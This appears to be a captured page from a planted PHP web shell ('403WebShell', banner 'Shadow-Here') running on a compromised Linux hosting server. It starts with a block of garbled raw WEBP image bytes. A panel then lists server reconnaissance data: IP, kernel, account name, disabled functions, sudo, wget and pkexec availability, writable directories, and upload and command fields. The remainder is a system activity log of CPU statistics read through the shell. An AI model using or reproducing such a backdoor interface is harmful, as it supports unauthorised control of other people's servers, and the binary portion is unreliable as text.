....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 172.67.130.7  /  Your IP : 104.23.197.87
Web Server : Apache
System : Linux host6.northwind.al 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : elettreviso ( 1011)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/sa/sar16
Linux 3.10.0-1160.76.1.el7.x86_64 (host6.northwind.al) 	2026-03-16 	_x86_64_	(8 CPU)

12:00:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
12:10:02 AM     all     27.17      0.01      4.98      0.42      0.02      0.00      0.09      0.00      0.00     67.30
12:10:02 AM       0     22.39      0.01      4.13      0.14      0.02      0.00      0.10      0.00      0.00     73.23
12:10:02 AM       1     29.38      0.06      5.49      0.94      0.02      0.00      0.09      0.00      0.00     64.02
12:10:02 AM       2     31.05      0.00      5.61      0.32      0.04      0.00      0.31      0.00      0.00     62.66
12:10:02 AM       3     30.78      0.00      5.56      0.55      0.02      0.00      0.05      0.00      0.00     63.04
12:10:02 AM       4     29.43      0.00      5.27      0.61      0.02      0.00      0.07      0.00      0.00     64.60
12:10:02 AM       5     26.67      0.00      4.85      0.22      0.02      0.00      0.04      0.00      0.00     68.19
12:10:02 AM       6     24.66      0.00      4.69      0.31      0.02      0.00      0.06      0.00      0.00     70.26
12:10:02 AM       7     22.99      0.00      4.28      0.29      0.02      0.00      0.04      0.00      0.00     72.38
12:20:01 AM     all     16.03      0.05      2.64      0.22      0.02      0.00      0.06      0.00      0.00     80.99
12:20:01 AM       0     19.57      0.05      2.45      0.10      0.02      0.00      0.07      0.00      0.00     77.75
12:20:01 AM       1     17.22      0.01      3.11      0.50      0.02      0.00      0.05      0.00      0.00     79.10
12:20:01 AM       2     15.71      0.00      2.88      0.16      0.04      0.00      0.22      0.00      0.00     81.00
12:20:01 AM       3     16.89      0.10      3.06      0.28      0.03      0.00      0.03      0.00      0.00     79.62
12:20:01 AM       4     18.14      0.00      2.78      0.35      0.02      0.00      0.04      0.00      0.00     78.68
12:20:01 AM       5     14.21      0.09      2.47      0.19      0.02      0.00      0.03      0.00      0.00     83.00
12:20:01 AM       6     12.91      0.00      2.11      0.07      0.01      0.00      0.01      0.00      0.00     84.89
12:20:01 AM       7     13.61      0.11      2.25      0.14      0.01      0.00      0.02      0.00      0.00     83.86
12:30:01 AM     all     25.41      0.01      4.36      0.07      0.02      0.00      0.07      0.00      0.00     70.05
12:30:01 AM       0     20.47      0.01      3.57      0.04      0.02      0.00      0.08      0.00      0.00     75.81
12:30:01 AM       1     28.52      0.00      4.84      0.16      0.02      0.00      0.05      0.00      0.00     66.40
12:30:01 AM       2     26.61      0.00      4.77      0.05      0.05      0.00      0.30      0.00      0.00     68.22
12:30:01 AM       3     29.01      0.00      4.85      0.03      0.02      0.00      0.02      0.00      0.00     66.07
12:30:01 AM       4     26.47      0.00      4.57      0.09      0.02      0.00      0.02      0.00      0.00     68.83
12:30:01 AM       5     26.93      0.00      4.53      0.06      0.02      0.00      0.02      0.00      0.00     68.43
12:30:01 AM       6     21.97      0.07      3.90      0.09      0.02      0.00      0.02      0.00      0.00     73.94
12:30:01 AM       7     23.33      0.00      3.90      0.04      0.02      0.00      0.01      0.00      0.00     72.70
12:40:01 AM     all     14.86      0.01      2.63      0.08      0.01      0.00      0.04      0.00      0.00     82.36
12:40:01 AM       0     11.25      0.00      1.96      0.14      0.01      0.00      0.05      0.00      0.00     86.59
12:40:01 AM       1     17.53      0.00      2.97      0.17      0.01      0.00      0.03      0.00      0.00     79.29
12:40:01 AM       2     18.83      0.00      3.61      0.06      0.03      0.00      0.23      0.00      0.00     77.24
12:40:01 AM       3     15.98      0.00      2.97      0.03      0.01      0.00      0.01      0.00      0.00     81.01
12:40:01 AM       4     15.32      0.00      2.51      0.07      0.01      0.00      0.01      0.00      0.00     82.09
12:40:01 AM       5     13.70      0.00      2.25      0.08      0.01      0.00      0.01      0.00      0.00     83.95
12:40:01 AM       6     13.98      0.01      2.50      0.05      0.01      0.00      0.01      0.00      0.00     83.45
12:40:01 AM       7     12.35      0.04      2.29      0.06      0.01      0.00      0.01      0.00      0.00     85.24
12:50:01 AM     all     23.69      0.02      4.11      0.03      0.01      0.00      0.05      0.00      0.00     72.09
12:50:01 AM       0     19.73      0.07      3.48      0.01      0.01      0.00      0.07      0.00      0.00     76.64
12:50:01 AM       1     24.87      0.01      4.34      0.03      0.01      0.00      0.03      0.00      0.00     70.72
12:50:01 AM       2     30.29      0.00      5.34      0.04      0.02      0.00      0.24      0.00      0.00     64.06
12:50:01 AM       3     26.45      0.00      4.55      0.04      0.01      0.00      0.02      0.00      0.00     68.94
12:50:01 AM       4     24.30      0.00      4.11      0.03      0.01      0.00      0.01      0.00      0.00     71.53
12:50:01 AM       5     24.46      0.04      4.06      0.05      0.02      0.00      0.01      0.00      0.00     71.36
12:50:01 AM       6     20.80      0.01      3.72      0.04      0.01      0.00      0.01      0.00      0.00     75.42
12:50:01 AM       7     18.62      0.01      3.34      0.03      0.01      0.00      0.01      0.00      0.00     77.98
01:00:01 AM     all     34.41      0.01      4.91      0.08      0.02      0.00      0.08      0.00      0.00     60.48
01:00:01 AM       0     33.51      0.00      4.21      0.05      0.02      0.00      0.08      0.00      0.00     62.12
01:00:01 AM       1     33.82      0.03      5.13      0.07      0.02      0.00      0.06      0.00      0.00     60.87
01:00:01 AM       2     34.05      0.01      5.67      0.12      0.03      0.00      0.37      0.00      0.00     59.76
01:00:01 AM       3     37.23      0.00      5.17      0.09      0.03      0.00      0.05      0.00      0.00     57.44
01:00:01 AM       4     40.10      0.00      5.21      0.13      0.02      0.00      0.04      0.00      0.00     54.51
01:00:01 AM       5     34.61      0.04      5.04      0.09      0.02      0.00      0.03      0.00      0.00     60.18
01:00:01 AM       6     33.45      0.01      4.18      0.06      0.02      0.00      0.02      0.00      0.00     62.27
01:00:01 AM       7     28.54      0.00      4.64      0.08      0.02      0.00      0.02      0.00      0.00     66.71
01:10:01 AM     all     43.99      0.01      7.14      0.26      0.08      0.00      0.18      0.00      0.00     48.35
01:10:01 AM       0     41.39      0.05      6.82      0.14      0.08      0.00      0.23      0.00      0.00     51.31
01:10:01 AM       1     44.82      0.01      7.20      0.35      0.08      0.00      0.14      0.00      0.00     47.40
01:10:01 AM       2     44.43      0.01      7.26      0.21      0.11      0.00      0.69      0.00      0.00     47.29
01:10:01 AM       3     45.51      0.00      7.36      0.21      0.08      0.00      0.09      0.00      0.00     46.75
01:10:01 AM       4     44.62      0.00      7.40      0.28      0.08      0.00      0.08      0.00      0.00     47.55
01:10:01 AM       5     43.37      0.00      7.12      0.43      0.07      0.00      0.08      0.00      0.00     48.93
01:10:01 AM       6     44.24      0.00      6.84      0.20      0.07      0.00      0.07      0.00      0.00     48.57
01:10:01 AM       7     43.55      0.00      7.10      0.21      0.09      0.00      0.07      0.00      0.00     48.98
01:20:01 AM     all     23.77      0.01      4.12      0.16      0.02      0.00      0.07      0.00      0.00     71.86
01:20:01 AM       0     17.81      0.00      3.25      0.11      0.01      0.00      0.09      0.00      0.00     78.74
01:20:01 AM       1     26.27      0.02      4.48      0.21      0.02      0.00      0.06      0.00      0.00     68.94
01:20:01 AM       2     28.46      0.00      4.92      0.15      0.04      0.00      0.29      0.00      0.00     66.14
01:20:01 AM       3     26.08      0.01      4.48      0.26      0.02      0.00      0.04      0.00      0.00     69.11
01:20:01 AM       4     23.76      0.04      4.12      0.17      0.01      0.00      0.03      0.00      0.00     71.88
01:20:01 AM       5     24.45      0.00      4.31      0.18      0.02      0.00      0.02      0.00      0.00     71.02
01:20:01 AM       6     22.77      0.00      3.91      0.10      0.02      0.00      0.02      0.00      0.00     73.20
01:20:01 AM       7     20.59      0.02      3.46      0.07      0.02      0.00      0.02      0.00      0.00     75.84
01:30:01 AM     all     33.83      0.01      7.95      1.06      0.04      0.00      0.36      0.00      0.00     56.76
01:30:01 AM       0     31.57      0.01      7.31      0.95      0.03      0.00      0.35      0.00      0.00     59.78
01:30:01 AM       1     35.30      0.03      8.42      1.14      0.04      0.00      0.32      0.00      0.00     54.77
01:30:01 AM       2     34.98      0.03      8.20      1.08      0.05      0.00      0.70      0.00      0.00     54.96
01:30:01 AM       3     37.51      0.00      8.33      1.25      0.04      0.00      0.32      0.00      0.00     52.55
01:30:01 AM       4     34.14      0.00      8.77      1.27      0.04      0.00      0.32      0.00      0.00     55.48
01:30:01 AM       5     31.68      0.00      7.69      1.15      0.03      0.00      0.28      0.00      0.00     59.17
01:30:01 AM       6     33.47      0.00      7.68      1.00      0.04      0.00      0.28      0.00      0.00     57.54
01:30:01 AM       7     32.00      0.00      7.17      0.63      0.04      0.00      0.28      0.00      0.00     59.89
01:40:01 AM     all     47.81      0.02      5.83      0.55      0.04      0.00      0.17      0.00      0.00     45.58
01:40:01 AM       0     43.62      0.00      5.14      0.53      0.05      0.00      0.19      0.00      0.00     50.47
01:40:01 AM       1     50.06      0.00      5.92      0.57      0.05      0.00      0.15      0.00      0.00     43.26
01:40:01 AM       2     46.99      0.04      6.56      0.49      0.06      0.00      0.52      0.00      0.00     45.35
01:40:01 AM       3     48.78      0.10      5.65      0.44      0.03      0.00      0.10      0.00      0.00     44.90
01:40:01 AM       4     46.86      0.00      5.86      0.66      0.04      0.00      0.13      0.00      0.00     46.45
01:40:01 AM       5     48.15      0.01      6.06      0.61      0.04      0.00      0.08      0.00      0.00     45.05
01:40:01 AM       6     46.96      0.01      5.87      0.50      0.04      0.00      0.09      0.00      0.00     46.54
01:40:01 AM       7     51.10      0.00      5.60      0.57      0.04      0.00      0.08      0.00      0.00     42.61
01:50:01 AM     all     60.41      0.01      4.57      0.37      0.07      0.00      0.19      0.00      0.00     34.39
01:50:01 AM       0     57.12      0.00      4.39      0.44      0.06      0.00      0.19      0.00      0.00     37.81
01:50:01 AM       1     63.90      0.00      4.43      0.25      0.06      0.00      0.17      0.00      0.00     31.18
01:50:01 AM       2     51.75      0.00      5.93      0.44      0.10      0.00      0.60      0.00      0.00     41.17
01:50:01 AM       3     67.93      0.01      4.35      0.31      0.08      0.00      0.11      0.00      0.00     27.22
01:50:01 AM       4     58.06      0.00      4.85      0.28      0.06      0.00      0.12      0.00      0.00     36.63
01:50:01 AM       5     64.83      0.09      4.20      0.42      0.06      0.00      0.10      0.00      0.00     30.31
01:50:01 AM       6     60.64      0.00      4.07      0.38      0.06      0.00      0.08      0.00      0.00     34.77
01:50:01 AM       7     59.01      0.00      4.32      0.42      0.08      0.00      0.13      0.00      0.00     36.04

01:50:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01 AM     all     33.42      0.01      4.61      0.18      0.02      0.00      0.08      0.00      0.00     61.68
02:00:01 AM       0     28.32      0.00      4.40      0.09      0.02      0.00      0.06      0.00      0.00     67.10
02:00:01 AM       1     41.47      0.00      4.68      0.12      0.02      0.00      0.04      0.00      0.00     53.67
02:00:01 AM       2     34.76      0.00      5.13      0.30      0.03      0.00      0.38      0.00      0.00     59.40
02:00:01 AM       3     38.54      0.01      4.68      0.17      0.02      0.00      0.04      0.00      0.00     56.54
02:00:01 AM       4     34.01      0.00      4.75      0.27      0.02      0.00      0.06      0.00      0.00     60.89
02:00:01 AM       5     36.32      0.01      4.02      0.19      0.02      0.00      0.04      0.00      0.00     59.40
02:00:01 AM       6     27.74      0.05      4.53      0.15      0.02      0.00      0.03      0.00      0.00     67.49
02:00:01 AM       7     26.19      0.00      4.71      0.11      0.02      0.00      0.03      0.00      0.00     68.94
02:10:01 AM     all     33.63      0.01      5.36      0.44      0.03      0.00      0.11      0.00      0.00     60.41
02:10:01 AM       0     31.03      0.01      4.84      0.30      0.03      0.00      0.11      0.00      0.00     63.67
02:10:01 AM       1     33.48      0.00      5.64      0.93      0.03      0.00      0.10      0.00      0.00     59.82
02:10:01 AM       2     34.45      0.00      5.85      0.48      0.05      0.00      0.39      0.00      0.00     58.78
02:10:01 AM       3     33.48      0.04      5.39      0.55      0.04      0.00      0.08      0.00      0.00     60.42
02:10:01 AM       4     34.22      0.00      5.35      0.51      0.02      0.00      0.05      0.00      0.00     59.84
02:10:01 AM       5     33.63      0.01      5.43      0.20      0.03      0.00      0.05      0.00      0.00     60.66
02:10:01 AM       6     34.04      0.03      5.08      0.33      0.03      0.00      0.06      0.00      0.00     60.44
02:10:01 AM       7     34.73      0.00      5.35      0.21      0.04      0.00      0.05      0.00      0.00     59.62
02:20:01 AM     all     18.56      0.04      3.47      0.15      0.01      0.00      0.06      0.00      0.00     77.71
02:20:01 AM       0     12.93      0.00      2.52      0.10      0.01      0.00      0.06      0.00      0.00     84.39
02:20:01 AM       1     20.33      0.00      3.61      0.09      0.01      0.00      0.04      0.00      0.00     75.92
02:20:01 AM       2     24.15      0.05      4.48      0.19      0.02      0.00      0.22      0.00      0.00     70.88
02:20:01 AM       3     24.58      0.00      4.22      0.22      0.01      0.00      0.04      0.00      0.00     70.93
